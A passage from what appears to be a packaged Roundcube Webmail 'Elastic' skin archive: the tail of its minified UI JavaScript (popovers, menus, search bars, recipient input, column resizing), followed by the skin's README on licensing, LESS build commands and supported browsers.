oe(e){_.list.length||_.sidebar.length?(_.sidebar.addClass("hidden").removeClass("layout-sticky"),_.list.removeClass("hidden"),"small"!=m&&"phone"!=m||(g.last_selected=_.list[0]||_.sidebar[0],ee(),rcmail.show_contentframe(!1),$("[data-list]",_.list).each(function(){var e=$(this).data("list");rcmail[e]&&(rcmail[e].clear_selection?rcmail[e].clear_selection():rcmail[e].select&&rcmail[e].select())})),e&&_.list.children(".scroller").scrollTop(0),g.last_selected=_.list[0]):history.back(),L()}function j(e){e?("phone"==m&&($('<div id="menu-overlay" class="popover-overlay">').on("click",function(){j(!1)}).appendTo("body"),g.menu_initialized||(g.menu_initialized=!0,$("a",_.menu).on("click",function(e){"phone"==m&&j()})),_.menu.addClass("popover")),_.menu.removeClass("hidden")):($("#menu-overlay").remove(),_.menu.addClass("hidden").removeClass("popover"))}function se(e){"loading"==e.type&&$(".iframe-loader:visible").length?rcmail.hide_message(e.object):(re(e.object,e.type,!0),$(e.object).attr("role","alert"))}function re(e,t,a){var n="ui alert",i=!$(e).is(".noicon");a&&i&&!$(e).is(".aligned-buttons")&&$(e).html($("<span>").html($(e).html())),(a={information:"alert-info",notice:"alert-info",confirmation:"alert-success",warning:"alert-warning",error:"alert-danger",loading:"alert-info loading",uploading:"alert-info loading",vcardattachment:"alert-info"}[t=t.split(" ")[0]])&&(n+=" "+a,i)&&$("<i>").attr("class","icon").prependTo(e),$(e).addClass(n)}function le(i){function e(){$(i).is(".open")&&s.click()}function o(){$(i)[a.val()||"mail"==rcmail.task&&$("#s_interval").val()||rcmail.gui_objects.search_filter&&"ALL"!=$(rcmail.gui_objects.search_filter).val()||rcmail.gui_objects.foldersfilter&&"---"!=$(rcmail.gui_objects.foldersfilter).val()?"addClass":"removeClass"]("active"),t[rcmail.gui_objects.search_filter&&"UNSEEN"==$(rcmail.gui_objects.search_filter).val()?"addClass":"removeClass"]("selected")}var t=$(),s=$("a.button.options",i),a=$("input:not([type=hidden])",i),n=a.attr("placeholder");$("form",i);a.is("#mailsearchform")&&(t=$("<a>").attr({class:"button unread",href:"#",role:"button",title:rcmail.gettext("showunread")}).on("click",function(e){$(rcmail.gui_objects.search_filter).val($(e.target).is(".selected")?"ALL":"UNSEEN"),rcmail.command("search")}).insertBefore(s)),s.on("click",function(e){var t=$(this).data("target"),a=$("#"+t),n=$(i).is(".open");a.length&&(n||(p[t]?p[t](a.get(0),this,e):"function"==typeof window[t]&&window[t](a.get(0),this,e)),a.next()[n?"show":"hide"](),a.toggleClass("hidden"),$(".floating-action-buttons").toggleClass("hidden"),$(i).toggleClass("open"),$("button.search",a).off("click.search").on("click.search",function(){s.click(),o()}))}),a.on("input change",o).on("focus blur",function(e){a.attr("placeholder","blur"==e.type?n:"")}),$("a.reset",i).on("click",function(e){a.val("").change().trigger("keyup.treelist",{keyCode:27}),$(i).is(".open")&&s.click(),rcmail.gui_objects.search_filter&&$(rcmail.gui_objects.search_filter).val("ALL"),rcmail.gui_objects.foldersfilter&&($(rcmail.gui_objects.foldersfilter).val("---").change(),rcmail.folder_filter("---")),o()}),rcmail.addEventListener("init",o).addEventListener("responsebeforesearch",o).addEventListener("beforelist",e).addEventListener("afterlist",o).addEventListener("beforesearch",e)}function z(o,a){if(v&&I())return parent.UI.popup_init(o,a||window);a=a||window;var s,r=$(o).data("popup"),n=$(a.$("#"+r).get(0)),e=n,t=$(o).attr("title");$(o).attr({"aria-haspopup":"true","aria-expanded":"false","aria-owns":r}).popover({content:function(){return a!=window&&(n=e.clone(!0,!0)).attr("id",r+"-clone").appendTo(document.body).find("li > a").attr("onclick","").off("click").on("click",function(e){return $(this).is(".disabled")||($(o).popover("hide"),a.$("#"+$(this).attr("id")).click()),!1}),n.get(0)},trigger:$(o).data("popup-trigger")||"click",placement:$(o).data("popup-pos")||"bottom",animation:!0,boundary:"window",html:!0}).on("show.bs.popover",function(e){var t=n.data("popup-init");r&&b[r]&&(b[r].transitioning=!0),t&&p[t]?p[t](n.get(0),o,e):t&&a[t]&&a[t](n.get(0),o,e),s=$("div.popover:visible").length+1,n.removeClass("hidden").attr("aria-hidden",!1).find('[aria-haspopup="true"]').data("level",s+1).off("click.popup").on("click.popup",function(e){e.stopPropagation()}),I()||n.css("max-height",Math.min(539,$(window).height()-30))}).on("shown.bs.popover",function(e){var t,a,n=I(),i=$("#"+$(o).attr("aria-describedby"));s=$(o).data("level")||1,n&&(a=1<s?"back":"close",t=rcmail.gettext(a),a="button icon "+("back"==a?"back":"cancel"),$(".popover-header",i).empty().append($("<a>").attr("class",a).text(t).on("click",function(e){$(o).popover("hide"),1<s&&e.stopPropagation()}).on("mousedown",function(e){e.stopPropagation()}))),$.each(b,function(e,t){$(t.target).data("level")==s&&e!=r&&O(e)}),"key"==$(o).data("event")&&(i.off("keydown.popup").on("keydown.popup","a.active",function(e){var t,a,n="next";switch(e.which){case 27:case 9:return $(o).popover("toggle").focus(),!1;case 38:case 63232:n="previous";case 40:case 63233:for(t=e.target.parentNode;t=t[n+"Sibling"];)if(a=$(t).children(".active")[0]){a.focus();break}return!1}}),i.find("a.active").first().focus()),r&&b[r]&&(b[r].transitioning=!1),n&&!$(".popover-overlay").length&&$("<div>").attr("class","popover-overlay").appendTo("body").click(function(){$(this).remove()}),$(".popover-body",i).addClass("webkit-scroller")}).on("hide.bs.popover",function(){1==s&&$(".popover-overlay").remove(),r&&b[r]&&n.is(":visible")&&(b[r].transitioning=!0),setTimeout(function(){/-clone$/.test(n.attr("id"))?n.remove():n.attr("aria-hidden",!0).addClass("hidden").appendTo(n.data("popup-parent")||document.body),$(".popover-body:empty").each(function(){$(this).parent().remove()}),r&&b[r]&&delete b[r]},200)}).on("click",function(){$(this).data("event","mouse")}).on("keydown",function(e){if(e.originalEvent)switch(e.originalEvent.which){case 13:case 32:e.preventDefault(),$(this).data("event","key").popover("toggle");break;case 27:$(this).popover("hide")}}),t&&$(o).attr("title",t),!I()&&n.is(".toolbar")||n.attr("aria-hidden","true"),n.data("button",o),n.data("editable")&&n.on("click mousedown",function(e){e.stopPropagation()})}function M(t){f&&f>(new Date).getTime()-250||$(".popover.show").each(function(){var e=$(".popover-body",this).children().first().data("button");e&&t.target!=e&&!$(e).find(t.target).length&&"string"!=typeof e&&$(e).popover("hide"),e||$(this).remove()})}function ce(e){if(e&&e.name&&(!e.props||!1!==e.props.skinable)){if(v&&I())return e.win||(e.win=window),parent.UI.menu_toggle(e);if("messagelistmenu"==e.name){var t=$("#listoptions-menu"),n=(t.width(),t.clone(!0));$('select[name="sort_col"]',n).val(rcmail.env.sort_col||""),$('select[name="sort_ord"]',n).val(rcmail.env.sort_order||"ASC"),$('select[name="mode"]',n).val(rcmail.env.threading?"threads":"list"),$("select",n).each(function(){this.id=this.id+"-clone"}),$("label",n).each(function(){$(this).attr("for",$(this).attr("for")+"-clone")}),n=rcmail.simple_dialog(n,"listoptionstitle",function(e){rcube_event.is_keyboard(e.originalEvent)&&$("#listmenulink").focus();var e=$('select[name="sort_col"]',n).val(),t=$('select[name="sort_ord"]',n).val(),a=$('select[name="mode"]',n).val();return rcmail.set_list_options([],e,t,"threads"==a?1:0),!0},{closeOnEscape:!0,minWidth:400})}else if("menu-open"==e.event){var a,i,t=$("ul",e.obj).first(),o=e.props&&e.props.link?e.props.link:e.originalEvent.target;if(!t.length)return;$(o).is("span")&&(o=$(o).parents("a,li")[0]),e.name.match(/^drag/)&&(i=rcube_event.get_mouse_pos(e.originalEvent),o=$("<a>").css({position:"absolute",left:i.x,top:i.y,height:"1px",width:"1px",visibility:"hidden"}).appendTo(document.body).get(0)),i=$(o).data("popup-pos")||"right","folder-selector"==e.name?t.addClass("listing folderlist"):"addressbook-selector"==e.name||"contactgroup-selector"==e.name?t.addClass("listing contactlist"):t.hasClass("menu")&&t.addClass("listing"),"pagejump-selector"==e.name&&(t.addClass("simplelist"),e.obj.addClass("simplelist"),i="top"),b[e.name]&&O(e.name,e.originalEvent),(a=function(){if(b[e.name]&&b[e.name].transitioning)return setTimeout(a,50);$(o).data("popup")||($(o).data({event:rcube_event.is_keyboard(e.originalEvent)?"key":"mouse",popup:e.name,"popup-pos":i,"popup-trigger":"manual"}),z(o,e.win)),b[e.name]={target:o},setTimeout(function(){$(o).popover("show")},1)})()}else O(e.name,e.originalEvent);e.originalEvent.stopPropagation()}}function O(e,t){var a=function(e){var t;b[e]?t=b[e].target:(t=$("#"+e).data("button"))||(e.match(/(?!-)menu$/)&&(e=e.substr(0,e.length-4)),t=$("#"+e+"-menu").data("button"));return t}(e);e.match(/^drag/)?$(a).popover("dispose").remove():($(a).popover("hide"),"forwardmenu"==e&&M(t))}function de(e){$("[aria-owns="+e+"]").popover("dispose").data("popup",null)}function ue(e){var t="mail.show.envelope",a=ye(t),a=e?!a:a,n=a?"summary":"details",i=$("div.header-content");$("div.header-links").find("a.headers-details,a.headers-summary").removeClass().addClass("headers-"+n).text(rcmail.gettext(n)),i[a?"addClass":"removeClass"]("details-view"),e&&Ee(t,a)}function pe(e){$(e).find(".proplist > li.with-sublist").each(function(){$(this).find(":not(.proplist) input")[0].checked=0<$(this).children(".proplist").find("input:checked").length})}function me(e,t){var a=$("#composestatusbar"),n=a.find("a.button.icon."+e);t?n.length||$("<a>").attr("class","button icon "+e).on("click",function(){ie()}).appendTo(a):n.remove()}function he(e,t,a){var n=$(t).parent().attr("id").replace(/^attach/,"");return $.each(["open","download","rename"],function(){var t=this;$("#attachmenu"+t,e).off("click").attr("onclick","").click(function(e){return rcmail.command(t+"-attachment",n,this,e.originalEvent)})}),rcmail.command("menu-open",{menu:"attachmentmenu",id:n},e,a)}function fe(e){var t,a,n;(e=$(e)).is(".no-menu")||e.children(".dropdown").length||(t=rcmail.gettext("options"),a=e.find("a.filename"),n=$("<a>").attr({href:"#",tabindex:a.attr("tabindex")||0,title:t,class:"button icon dropdown skip-content"}).on("click",function(e){return he($("#attachmentmenu"),n,e)}).append($("<span>").attr("class","inner").text(t)),a.length?n.insertAfter(a):n.appendTo(e))}function ve(e,n,t,a){var i=$(n).attr("href").replace(/^mailto:/,"");return i.indexOf("@")<0||(e.find("a").off("click").removeClass("active"),rcmail.env.has_writeable_addressbook&&$(".addressbook",e).addClass("active").on("click",function(e){var t=i,a=$(n).filter(".rcmContactAddress").text(),t=t.split("?")[0].split(",")[0].replace(/(^<|>$)/g,"");return a&&(t='"'+(a=a.replace("<"+t+">","")).trim()+'" <'+t+">"),rcmail.command("add-contact",t,this,e.originalEvent)}),$(".compose",e).addClass("active").on("click",function(e){return a?(n.onclick=a,$(n).trigger("click",[!0]),n.onclick=null):rcmail.command("compose",i,this,e.originalEvent),!1}),rcmail.command("menu-open",{menu:"mailto-menu",link:n},n,t.originalEvent))}function ge(t){var e=$("#quotadisplay"),a=e.find(".bar"),n=t.total?t.percent:0;0<n&&n<10&&(n=10),(a=a.length?a:$('<span class="bar"><span class="value"></span></span>').appendTo(e)).find(".value").css("width",n+"%")[90<=n?"addClass":"removeClass"]("warning"),e.attr({"data-original-title":"",title:e.find(".count").attr("title")}),t.table?e.css("cursor","pointer").data("popup-pos","top").off("click").on("click",function(e){rcmail.simple_dialog(t.table,"quota",null,{cancel_button:"close"})}):e.tooltip("dispose").tooltip({trigger:I()?"click":"hover"})}function $e(a){a=a.replace(/[,;\s]*[\r\n]+/g,",").trim();var n=[],e='(\\S+|("[^"]+"))@\\S+',i=new RegExp("(<"+e+">)"),o=new RegExp("("+e+")"),e=a.match(/(?=\S)[^",;]*(?:"[^\\"]*(?:\\[,;\S][^\\"]*)*"[^",;]*)*/g);return $.each(e||[],function(){if(this.length&&(i.test(this)||o.test(this))){var e,t=this;for(a=a.replace(t,"");t.length&&0===t.indexOf(RegExp.$1)&&(e=RegExp.$1,n.push({name:"",email:e.replace(/(^<|>$)/g,"").replace(/[^\p{L}]$/giu,"")}),t=t.replace(e,"").trim(),i.test(t)||o.test(t)););e!=RegExp.$1&&RegExp.$1&&(e=RegExp.$1,n.push({name:t.replace(e,"").trim(),email:e.replace(/(^<|>$)/g,"")}))}}),a=a.replace(/[,;]+/,",").replace(/^[,;\s]+/,""),{recipients:n,text:a}}function S(e){var t;(e=$(e)).length&&(t=$('<div class="iframe-loader">').append($('<div class="spinner spinner-border" role="status">').append($('<span class="sr-only">').text(rcmail.gettext("loading")))),e.on("load error loaded",function(){setTimeout(function(){t.remove()},500)}).parent().append(t),F)&&e.parent().addClass("ios-scroll")}function A(e){var t,a;(e=$(e)).is(".custom-control-input")||((a=e.attr("id"))||(a="icochk"+ ++g.checkboxes,e.attr("id",a)),e.parent().is("label")?(t=e.parent(),e=e.detach(),t.before(e)):t=$("<label>"),t.attr({for:a,class:"custom-control-label",title:e.attr("title")||""}).on("click",function(e){e.stopPropagation()}),e.addClass("form-check-input custom-control-input").wrap('<div class="custom-control custom-switch">').parent().append(t))}function be(e){var t,e=$(e.row).find("input[id^=icochk]");e.length&&(t="icochk"+ ++g.checkboxes,e.attr("id",t).next("label").attr("for",t))}function _e(u){var p,m,h;bw.iphone||bw.ipad||(u=$(u)).is(".pretty-select")||(p="select"+u.attr("id")+u.attr("name"),m=function(){if(u[0].ownerDocument.defaultView.$(".select-menu .listing").data("ident")==p)return!0},h=function(){var e=m();return u.popover("dispose").focus(),!e},u.addClass("pretty-select custom-select form-control").on("mousedown keydown",function(e){var a,s,r,n,l,t,i,o,c,d;if(!(u=$(e.target)).prop("disabled"))return 9==e.which?(h(),!0):27==e.which||"mousedown"==e.type&&m()?h():(u.focus(),u.prop("disabled",!0),setTimeout(function(){u.prop("disabled",!1)},0),e.stopPropagation(),"mousedown"==e.type||13==e.which||32==e.which||40==e.which||63233==e.which?(a=e,r=-1,n=[],l=[],e=u.closest(".ui-dialog")[0],t=(document.documentElement.clientHeight||$(document.body).height())-75,i=$(document.body).width()-20,o=Math.min(u.outerWidth(),i),c=u.val(),I()||(t*=.5),M(a),$("option",u).each(function(){var e=$(this).text(),t=$('<a href="#">').data("value",this.value).addClass(this.disabled?"disabled":"active"+(this.value==c?" selected":""));e.length?(t.text(e),l.push(this.disabled?"":e.charAt(0).toLowerCase())):(t.html("&nbsp;"),l.push("")),n.push($("<li>").append(t))}),d=$('<ul class="listing selectable iconized">').attr("data-ident",p).data("button",u[0]).append(n).on("click","a.active",function(){var e=$(this).data("value"),t=h();return u.val(e).change(),t}).on("keydown","a.active",function(e){var t,a,n,i,o="next";switch(e.which){case 27:case 9:return h();case 13:case 32:return $(this).click(),!1;case 38:case 63232:o="previous";case 40:case 63233:for(t=e.target.parentNode;t=t[o+"Sibling"];)if(i=$(t).children(".active")[0]){i.focus();break}return!1;default:(a=e.originalEvent.key)&&1==a.length&&(a=a.toLowerCase(),s!=a&&(r=-1),(-1<(n=l.indexOf(a,r+1))||-1<(n=l.indexOf(a)))&&d.find("a").eq(n).focus(),s=a,r=n)}}),u.popover("dispose").popover({container:e||document.body,content:d[0],placement:"bottom",trigger:"manual",boundary:"viewport",html:!0,offset:"0,2",sanitize:!1,template:'<div class="popover select-menu" style="min-width: '+o+"px; max-width: "+i+'px"><div class="popover-header"></div><div class="popover-body" style="max-height: '+t+'px"></div></div>'}).on("shown.bs.popover",function(){u.focus(),d.parent().prev().empty().append($('<a class="button icon cancel">').text(rcmail.gettext("close")).on("click",function(e){return e.stopPropagation(),h()}));var e,t=d.find("a.selected").first();t.focus().length?(e=d.parent(),r=d.find("a").index(t[0]),s=l[r],bw.mz&&5<r&&e.scrollTop(e.scrollTop()+e.height()/2-20)):rcube_event.is_keyboard(a)&&d.find("a.active").first().focus(),d.on("mousedown",function(e){e.stopPropagation()})}).popover("show"),f=(new Date).getTime(),!1):void 0)}))}function ke(a,e,t,n,i){var o=$('<div class="input-group"><input type="text" class="form-control"><span class="input-group-append"><a class="icon reset input-group-text" href="#"></a></span></div>'),s=o.find("input").attr({value:e,name:n.name+"[]",size:$(n).data("size"),title:n.title,placeholder:n.placeholder}).keydown(function(e){if(13==e.which){var t=ke(a,"",(new Date).getTime(),n,s.parent());$("input",t).focus()}else if((8==e.which||46==e.which)&&""==s.val()){t=s.parent();if(1<a.children().length)return(t.prev().length?t.prev():t.next()).children("input").focus(),t.remove(),!1}});return o.find("a.reset").click(function(){var e=$(this.parentNode.parentNode);1<a.children().length?($("input",e.next().length?e.next():e.prev()).focus(),e.remove()):$("input",e).val("").focus()}),o.find("input,a").on("focus",function(){a.addClass("focused")}).on("blur",function(){a.removeClass("focused")}),i?i.after(o):o.appendTo(a),o}function we(i){function o(e){i.css({width:Math.max(100,e),flex:"none"})}var e=i.find(".scroller .listing").first().attr("id"),s=rcmail.env.task+"."+(e||rcmail.env.action+"."+i.attr("id")),e=ye(s),r=i.is(".sidebar-right");i[r?"prev":"next"]().length&&($('<div class="column-resizer">').addClass(r?"inverted":null).appendTo(i).on("mousedown",function(e){var a,t=$(this),n=i.position().left;t.addClass("active"),document.body.style.userSelect="none",$(document).on("mousemove.resizer",function(t){clearTimeout(a),a=setTimeout(function(){r&&(n=i.position().left);var e=rcube_event.get_mouse_pos(t).x,e=r?i.width()+(n-e):e-n;o(e)},5)}).on("mouseup.resizer",function(){$(document).off(".resizer"),$("iframe").off(".resizer"),document.body.style.userSelect="auto",t.removeClass("active"),Ee(s,i.width())})}),e)&&o(e)}function xe(e,t,a,n){function i(e){$(e).css({color:$(document.body).css("color"),backgroundColor:$(document.body).css("background-color")})}var o,s="dark"==h&&/_task=mail/.test(e)&&/_action=viewsource/.test(e);if(!I()||!0===n)return/_task=mail/.test(e)&&/_action=get/.test(e)&&(t=!0),o=g.open_window.call(rcmail,e,t,a),s&&$(o).on("load",function(){i(o.document.body)}),o;e=rcmail.add_url(e,"_framed",1),e=rcmail.add_url(e,"_extwin",1);var n="",t={cancel_button:"close",width:768,height:768},r=$("<iframe>").attr({id:"windowframe",src:e});return/_action=([a-z_]+)/.test(e)&&(a=rcmail.labels[RegExp.$1])&&(n=a),/_frame=1/.test(e)&&(t.dialogClass="no-titlebar"),s&&r.on("load",function(){i(r[0].contentWindow.document.body)}),rcmail.simple_dialog(r,n,null,t),!0}function D(){var e;return v?{mode:(e=$(parent.document.documentElement))[0].className.match(/layout-([a-z]+)/)?RegExp.$1:m,touch:e.is(".touch")}:{mode:m,touch:B}}function I(){var e=D();return"phone"==e.mode||"small"==e.mode}function Ce(){return D().touch}function ye(e){var t;return null==(a=a||rcmail.local_storage_get_item("prefs.elastic",{}))[e]&&null!=(t=rcmail.get_cookie(e))&&(a[e]=t,rcmail.local_storage_set_item("prefs.elastic",a))&&rcmail.set_cookie(e,t,new Date),a[e]}function Ee(e,t){a[e]=t,rcmail.local_storage_set_item("prefs.elastic",a)||rcmail.set_cookie(e,t,!1)}$.ui&&$.widget("ui.dialog",$.ui.dialog,{open:function(){$(this.element).is(".iframe")&&(this.options.width=Math.max(576,this.options.width)),this._super();var e=this,t=$(e.uiDialog),a=t.width(),n=t.height(),i=$(window).width(),o=$(window).height();return i<=480?t.css({width:"100%",height:"100%"}):(o<n&&t.css("height","100%"),i<a&&t.css("width","100%")),$(document).click(),S($("div.popup > iframe",t)),E(e.uiDialog),this},close:function(){return this._super(),$(".select-menu:visible").remove(),this}}),k.menu.on("click",function(){return j(!0),!1}),k.back_sidebar.on("click",function(){return ie(),!1}),k.back_list.on("click",function(){return oe(),!1}),k.back_content.on("click",function(){var e=!0;return _.list.addClass("hidden"),_.sidebar.addClass("hidden"),_.content.removeClass("hidden"),e&&_.sidebar.removeClass("layout-sticky"),L(),g.last_selected=_.content[0],!1}),$(".searchbar").each(function(){le(this)}),!v||rcmail.env.extwin||parent.$(".ui-dialog:visible").length?v||(w=(w=_.content.find(".boxtitle").first().detach().text())||$("h1.voice").first().text())&&_.content.find(".header > .header-title").text(w):(w=$("h1.voice").first().text())&&parent.$("#layout-content > .header > .header-title:not(.constant)").text(w),v||!_.content.length||_.content.is(".no-navbar")||_.content.children(".frame-content").length||(g.frame_nav=$('<div class="footer menu toolbar content-frame-navigation hide-nav-buttons">').append($('<a class="button prev">').append($('<span class="inner"></span>').text(rcmail.gettext("previous")))).append($('<span class="buttons">')).append($('<a class="button next">').append($('<span class="inner"></span>').text(rcmail.gettext("next")))).appendTo(_.content)),$("a[data-content-button]").each(function(){V.push(C($(this)))}),$(".formbuttons").filter(function(){return!$(this).parent(".searchoptions").length}).find("button").each(function(){var e=$(this);(v||e.parents("#layout-content").length)&&(e.is(".cancel")?e.addClass("hidden"):V.push(C(e)))}),(v?parent.UI:p).register_content_buttons(V),(x=rcmail.gui_objects.messageform)&&(x=$('form[name="'+x+'"]'),$("#_cc, #_bcc, #_replyto, #_followupto",$(".compose-headers")).each(function(){$(this).on("change",function(){$("#compose"+$(this).attr("id"))[this.value?"removeClass":"addClass"]("hidden")})}),$("#compose-options").find("textarea,input,select").each(function(){var e=$("<input>").attr({type:"hidden",name:$(this).attr("name")}).appendTo(x);$(this).attr("tabindex",2).on("change",function(){e.val("checkbox"!=this.type||this.checked?$(this).val():"")}).change()})),$("[data-recipient-input]").each(function(){function i(e){return e=$e(e=(e||r.val()).replace(/[,;\s]+$/,"")),$.each(e.recipients,function(){c(this.name,this.email)}),r.val(e.text),l(),0<e.recipients.length}var e,o,r,t,l,c;e=this,t="",l=function(){$(e).val(o.text()+r.val())},c=function(e,t,a){var n=$('<li class="recipient">'),i=$('<span class="name">').html(function(e){var t,a,n="",i=e.length;'"'!=e.charAt(0)&&-1<e.indexOf('"')&&(e='"'+e.replace("\\","\\\\").replace('"','\\"')+'"');for(t=0;t<i;t++)switch(a=e.charAt(t)){case'"':0<t&&t<i-1?n+='"':n+='<span class="quotes">'+a+"</span>";break;case"\\":n+='<span class="quotes">'+a+"</span>","\\"==e.charAt(t+1)&&(n+=a,t++);break;case"<":n+="&lt;";break;case">":n+="&gt;";break;default:n+=a}return n}(e||t)).on("dblclick",function(e){var t,a,n,i;e=e,t=c,a=$(e.target).parents(".recipient"),n=a.text().replace(/,+$/,""),i=$("<input>").attr({type:"text","data-submit":"true"}).val(n),e=$("<label>").text(rcmail.gettext("recipient")).append(i),rcmail.simple_dialog(e,"recipientedit",function(){var e=i.val();if(e){if(e!=n){if(1!=(e=$e(e)).recipients.length)return!1;t(e.recipients[0].name,e.recipients[0].email,a)}return!0}})}),o=$('<span class="email">'),s=$("<a>").attr({class:"button icon remove"}).click(function(){return n.remove(),l(),r.focus(),!1});e&&(t=" <"+t+">"),o.text((e?t:"")+","),n.attr("title",e?e+t:null).append([i,o,s]),a?a.replaceWith(n):n.insertBefore(r.parent()),l()},r=$("<input>").attr({type:"text",tabindex:$(e).attr("tabindex")}).on("paste change",function(e,t,a){var n=this.value;!1!==a&&("paste"==e.type?(a=(e.originalEvent.clipboardData||window.clipboardData).getData("text")||"",n=n.substring(0,this.selectionStart)+a+n.substring(this.selectionEnd),e.preventDefault()):t&&(a=o.find("li.recipient").last()).length&&-1<this.value.indexOf(a.text().replace(/[ ,]+$/,""))&&a.remove(),i(n))}).on("keydown",function(e){return 8!=e.keyCode||r.val().length?!((" "==e.key||","==e.key||";"==e.key||"Enter"==e.key&&!rcmail.ksearch_visible())&&i())&&void 0:(o.children("li.recipient").last().remove(),l(),!1)}).on("blur",function(){o.removeClass("focus")}).on("focus mousedown",function(){o.addClass("focus")}),o=$("<ul>").addClass("form-control recipient-input ac-input rounded-left").append($('<li class="input">').append(r)).on("mouseup",function(){t=window.getSelection().toString()}).on("click",function(){t.length||r.focus()}).sortable({appendTo:document.body,items:"> .recipient",connectWith:".recipient-input",receive:function(e,t){var a=o.text();o.find(".recipient").remove(),i(a),t.sender&&t.sender.find("input").change()}}),$(e).css({position:"absolute",opacity:0,left:"-5000px",width:"10px"}).attr("tabindex",-1).after(o).on("focus",function(e){r.focus(),e.preventDefault()}).on("change",function(){$("li.recipient",o).remove(),r.val(this.value).change()}).change(),rcmail.init_address_input_events(r)}),$(".image-upload").each(function(){function e(){var e=-1!=(n.currentSrc||n.src).indexOf(rcmail.env.photo_placeholder);$(t)[e?"removeClass":"addClass"]("changed")}var t,a,n;t=this,a=$("<a>").attr({class:"icon button delete",href:"#"}).click(function(e){return rcmail.command("delete-photo","",this,e),!1}),n=$(t).find("img")[0],$(t).append(a).click(function(){rcmail.upload_input("upload-form")}),e(),$(n).on("load",e)}),$("textarea[data-html-editor]").each(function(){var e,i,o,t=this,a=!1,n=$(t),s=n.parent(),r=n.is("[readonly],[disabled]"),l=$('<a class="mce-i-html" href="#" tabindex="-1"></a>').attr({title:rcmail.gettext("htmltoggle"),disabled:r}).on("click",function(e){!r&&rcmail.command("toggle-editor",{id:n.attr("id"),html:!0},"",e.originalEvent)&&s.addClass("ishtml")}).on("keydown",function(e){if(9==e.which)return n.focus(),!1}),c=$('<div class="editor-toolbar">').append(l),d=(s.is("td")?(e=$('input[type="checkbox"]',s.parent().next()),a=!0):e=n.next("select.hidden"),t);function u(){if(!d.scrollHeight)return setTimeout(u,250);var e,t,a,n;i||(i=parseInt($(d).css("padding-top"))+parseInt($(d).css("padding-bottom"))+2,o=$(d).height()),d.scrollHeight-i<=o||(t=0,$(d).parents().each(function(){if(0<this.scrollTop)return t=(e=this).scrollTop,!1}),a=$(d).outerHeight(),$(d).outerHeight(0),n=Math.max(o,d.scrollHeight),$(d).outerHeight(a),n!==a&&$(d).height(n),t&&(e.scrollTop=t))}$(d).on("input",u).trigger("input"),1==e.length&&(s.addClass("html-editor"),n.after(c).data("control",e).on("keydown",function(e){e.altKey&&121==e.which&&l.focus()}),a)&&(e.parents("tr").first().hide(),s.prev().hide(),s.addClass("col-sm-12"))}),$("#dragmessage-menu,#dragcontact-menu").each(function(){rcmail.gui_object("dragmenu",this.id)}),$("#taskmenu > a").each(function(){var e,t,a;/button-([a-z]+)/.test(this.className)&&(t=RegExp.$1,(a=y(this.id))&&(e=a.data)&&(e.sel&&(e.sel=e.sel.replace("button-selected","selected")+" "+t),e.act&&(e.act+=" "+t),rcmail.buttons[a.command][a.index]=e,rcmail.init_button(a.command,e)),$(this).addClass(t),$(".button-inner",this).addClass("inner")),$(this).on("mouseover",function(){rcube_webmail.long_subject_title(this,0,$("span.inner",this))})}),$(".listbutton").each(function(){var e=y(this.id);$(this).addClass("button").removeClass("listbutton"),e.data.sel&&(e.data.sel=e.data.sel.replace("listbutton","button")),e.data.act&&(e.data.act=e.data.act.replace("listbutton","button")),rcmail.buttons[e.command][e.index]=e.data,rcmail.init_button(e.command,e.data)}),$("[data-hidden]").each(function(){for(var e,t=$(this).data("hidden"),a=$(this).parent("li"),n=/(large|big|small|phone|lbs)/g;e=n.exec(t);)$(a.length?a:this).addClass("hidden-"+e[1])}),$("[data-list]").each(function(){$("input[type=checkbox]",this).each(function(){A(this)})}),v&&$(".formcontent").each(function(){$(this).next(".formbuttons").length&&$(this).parent().addClass("formcontainer")}),$("#attachment-list + a.zipdownload").appendTo(".header-links"),(F=$("html").is(".ipad,.iphone"))&&$(".iframe-wrapper, .scroller").addClass("ios-scroll"),$("html").filter(".ipad,.iphone,.webkit.mobile,.webkit.tablet").addClass("webkit-scroller").length&&$(_.menu).addClass("webkit-scroller"),$(".treelist").each(function(){function e(){$(t)[0<$(".treetoggle",t).length?"removeClass":"addClass"]("notree")}var t=this;window.MutationObserver&&new MutationObserver(e).observe(t,{childList:!0,subtree:!0}),e(),$("li.mailbox > a").on("mouseover",function(){rcube_webmail.long_subject_title_ex(this)})}),T()}window.rcmail?(rcmail.show_menu=function(e,t,a){var n="object"==typeof e?e.menu:e,i=$("#"+n);return rcmail.triggerEvent(!1===t?"menu-close":"menu-open",{name:n,obj:i,props:e="string"==typeof e?{menu:n}:e,originalEvent:a})},rcmail.hide_menu=function(e,t){return rcmail.triggerEvent("menu-close",{name:e,props:{menu:e},originalEvent:t})}):(rcmail=parent.rcmail,rcube_webmail=parent.rcube_webmail,bw={});var rcmail,rcube_webmail,bw,__newInst,UI=new rcube_elastic_ui;$&&$.datepicker&&(__newInst=$.datepicker._newInst,$.extend($.datepicker,{_newInst:function(e,t){e=__newInst.call(this,e,t);return e.inline||UI.datepicker_init(e.dpDiv),e}}));
PKh�\�gaiiskins/elastic/README.mdnu�[���Roundcube Webmail Skin "Elastic"
================================

This skin package contains a theme for the Roundcube Webmail
software. It can be used, modified and redistributed according to
the terms described in the LICENSE section.

For information about building or modifying Roundcube skins please visit
https://github.com/roundcube/roundcubemail/wiki/Skins


LICENSE
-------

The contents of this folder are subject to the Creative Commons
Attribution-ShareAlike License. It is allowed to copy, distribute,
transmit and to adapt the work by keeping credits to the original
authors in the README.md file.
See http://creativecommons.org/licenses/by-sa/3.0/ for details.

This folder also contains code licensed separately:
- Bootstrap Framework 4 from https://github.com/twbs/bootstrap
- FontAwesome 5 fonts from https://fontawesome.com/
- Roboto font from https://google-webfonts-helper.herokuapp.com/fonts/roboto?subsets=cyrillic,latin-ext,cyrillic-ext,latin,greek,greek-ext


INSTALLATION
------------

All styles are written using LESS syntax. Thus it needs to be compiled
using the `lessc` (>= 2.5.2) command line tool. This comes with the `nodejs-less`
RPM package or using `npm install less` which depend on nodejs.
```
    $ lessc --clean-css="--s1 --advanced" styles/styles.less > styles/styles.min.css
    $ lessc --clean-css="--s1 --advanced" styles/print.less > styles/print.min.css
    $ lessc --clean-css="--s1 --advanced" styles/embed.less > styles/embed.min.css
```
(`--clean-css="--s1 --advanced"` minifies the css, requires the clean-css Less plugin.
The plugin can be installed using `npm install less-plugin-clean-css`)

References to image files from the included CSS files can be appended
with cache-buster marks to avoid browser caching issues after updating.

Run `bin/updatecss.sh --dir skins/elastic` before packaging the skin
or after installing it on the destination system.


FOR DEVELOPERS
--------------

- Supported browsers: Last 2 versions of Edge/Chrome/Firefox/Safari.

